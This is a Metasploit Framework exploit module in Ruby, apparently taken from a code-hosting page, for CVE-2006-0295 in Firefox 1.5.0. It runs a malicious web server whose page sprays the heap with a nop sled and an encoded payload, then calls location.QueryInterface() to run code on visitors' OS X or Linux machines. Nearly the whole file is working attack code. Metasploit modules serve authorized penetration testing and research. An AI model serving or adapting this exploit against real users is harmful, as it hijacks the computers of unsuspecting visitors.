121 lines
3.0 KiB
Ruby
121 lines
3.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Firefox location.QueryInterface() Code Execution',
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'Description' => %q{
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This module exploits a code execution vulnerability in the Mozilla
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Firefox browser. To reliably exploit this vulnerability, we need to fill
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almost a gigabyte of memory with our nop sled and payload. This module has
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been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
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},
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'License' => MSF_LICENSE,
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'Author' => ['hdm'],
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2006-0295'],
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['BID', '16476'],
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['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
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],
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'Payload' =>
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{
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'Space' => 1000 + (rand(256).to_i * 4),
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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[ 'Firefox 1.5.0.0 Mac OS X',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_PPC
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}
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],
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[ 'Firefox 1.5.0.0 Linux',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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}
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],
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],
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'DisclosureDate' => 'Feb 02 2006'
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))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
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handler(cli)
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end
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def generate_html(payload)
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enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
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return %Q|
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<html>
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<head>
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<title>One second please...</title>
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<script language="javascript">
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function BodyOnLoad() {
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h = FillHeap();
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location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
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};
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function FillHeap() {
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// Filler
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var m = "";
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var h = "";
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var a = 0;
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// Nop sled
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for(a=0; a<(1024*256); a++)
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m += unescape("#{enc_nops}");
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// Payload
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m += unescape("#{enc_code}");
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// Repeat
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for(a=0; a<1024; a++)
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h += m;
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// Return
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return h;
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}
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</script>
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</head>
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<body onload="BodyOnLoad()">
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</body>
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</html>
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end
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end |